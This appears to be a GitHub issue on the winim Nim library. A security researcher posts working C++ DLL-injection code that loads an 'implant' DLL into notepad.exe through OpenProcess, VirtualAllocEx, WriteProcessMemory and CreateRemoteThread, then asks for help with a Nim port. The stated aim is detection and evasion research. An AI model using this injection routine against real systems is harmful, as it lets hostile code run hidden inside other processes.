How do I get this right?
sdcampbell opened this issue · comments
First, thank you so much for your work on winim.
I'm a security researcher and I'm working to rewrite some C/C++ process injection methods in Nim while I also document detections and work on evasion and further detection methods. There are plenty of examples on the net showing how to inject shellcode, but I haven't found any that show how to inject a dll on disk. Would you please help me figure out what I'm doing wrong?
I'm starting with this C++ code that works:
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>
int FindTarget(const char *procname) {
HANDLE hProcSnap;
PROCESSENTRY32 pe32;
int pid = 0;
hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
pe32.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(hProcSnap, &pe32)) {
CloseHandle(hProcSnap);
return 0;
}
while (Process32Next(hProcSnap, &pe32)) {
if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
pid = pe32.th32ProcessID;
break;
}
}
CloseHandle(hProcSnap);
return pid;
}
int main(int argc, char *argv[]) {
HANDLE pHandle;
PVOID remBuf;
PTHREAD_START_ROUTINE pLoadLibrary = NULL;
char dll[] = "C:\\path\\to\\implantDLL.dll";
char target[] = "notepad.exe";
int pid = 0;
pid = FindTarget(target);
if ( pid == 0) {
printf("Target NOT FOUND! Exiting.\n");
return -1;
}
printf("Target PID: [ %d ]\nInjecting...", pid);
pLoadLibrary = (PTHREAD_START_ROUTINE) GetProcAddress( GetModuleHandle("Kernel32.dll"), "LoadLibraryA");
pHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD)(pid));
if (pHandle != NULL) {
remBuf = VirtualAllocEx(pHandle, NULL, sizeof dll, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(pHandle, remBuf, (LPVOID) dll, sizeof(dll), NULL);
CreateRemoteThread(pHandle, NULL, 0, pLoadLibrary, remBuf, 0, NULL);
printf("done!\nremBuf addr = %p\n", remBuf);
CloseHandle(pHandle);
}
else {
printf("OpenProcess failed! Exiting.\n");
return -2;
}
}
This is my Nim code:
# Imports
import process
import winim
import osproc
# GetProcAddress of LoadLibraryA
let pLoadLibrary = GetProcAddress(GetModuleHandle("Kernel32.dll"), "LoadLibraryA");
# Get process PID
var pid = getPid("notepad.exe")
# pHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD)(pid));
if pid == 0: # Notepad isn't open so let's open it
let tProcess = startProcess("notepad.exe")
pid = tProcess.processID
tProcess.suspend() # That's handy!
defer: tProcess.close()
echo "Notepad PID = ", pid
let pHandle = OpenProcess(PROCESS_ALL_ACCESS, false, cast[DWORD](pid))
# remBuf = VirtualAllocEx(pHandle, NULL, sizeof dll, MEM_COMMIT, PAGE_READWRITE);
let dll = "C:\Payloads\ProcInjection\testDLL.dll"
let remBuf = VirtualAllocEx(pHandle, NULL, cast[SIZE_T](len(dll)), MEM_COMMIT, PAGE_EXECUTE_READ_WRITE)
# WriteProcessMemory(pHandle, remBuf, (LPVOID) dll, sizeof(dll), NULL);
var bytesWritten: SIZE_T
let wSuccess = WriteProcessMemory(pHandle, remBuf, unsafeAddr dll, cast[SIZE_T](len(dll)), addr bytesWritten)
echo "Bytes Written: ", bytesWritten
# CreateRemoteThread(pHandle, NULL, 0, pLoadLibrary, remBuf, 0, NULL);
var lpThreadId: LPDWORD
let tHandle = CreateRemoteThread(pHandle, NULL, 0, cast[LPTHREAD_START_ROUTINE](pLoadLibrary), NULL, 0, lpThreadId)
CloseHandle(pHandle)
#CloseHandle(tHandle)
echo "wSuccess: ", wSuccess
echo "tHandle: ", tHandle
echo "lpThreadId: ", repr(lpThreadId)
echo "Press enter to continue..."
var input = readLine(stdin)
From my own troubleshooting I think that the CreateRemoteThread call is where it's failing because after the call, IpThreadId is nil.
Thank you
I figured it out. I had some parameters wrong in CreateRemoteThread. I found this reference which worked: https://github.com/waldo-irc/NimMusings/blob/main/BasicInjection.nim
I don't know why that didn't turn up in my searches yesterday. :)
Thank you, please close this issue.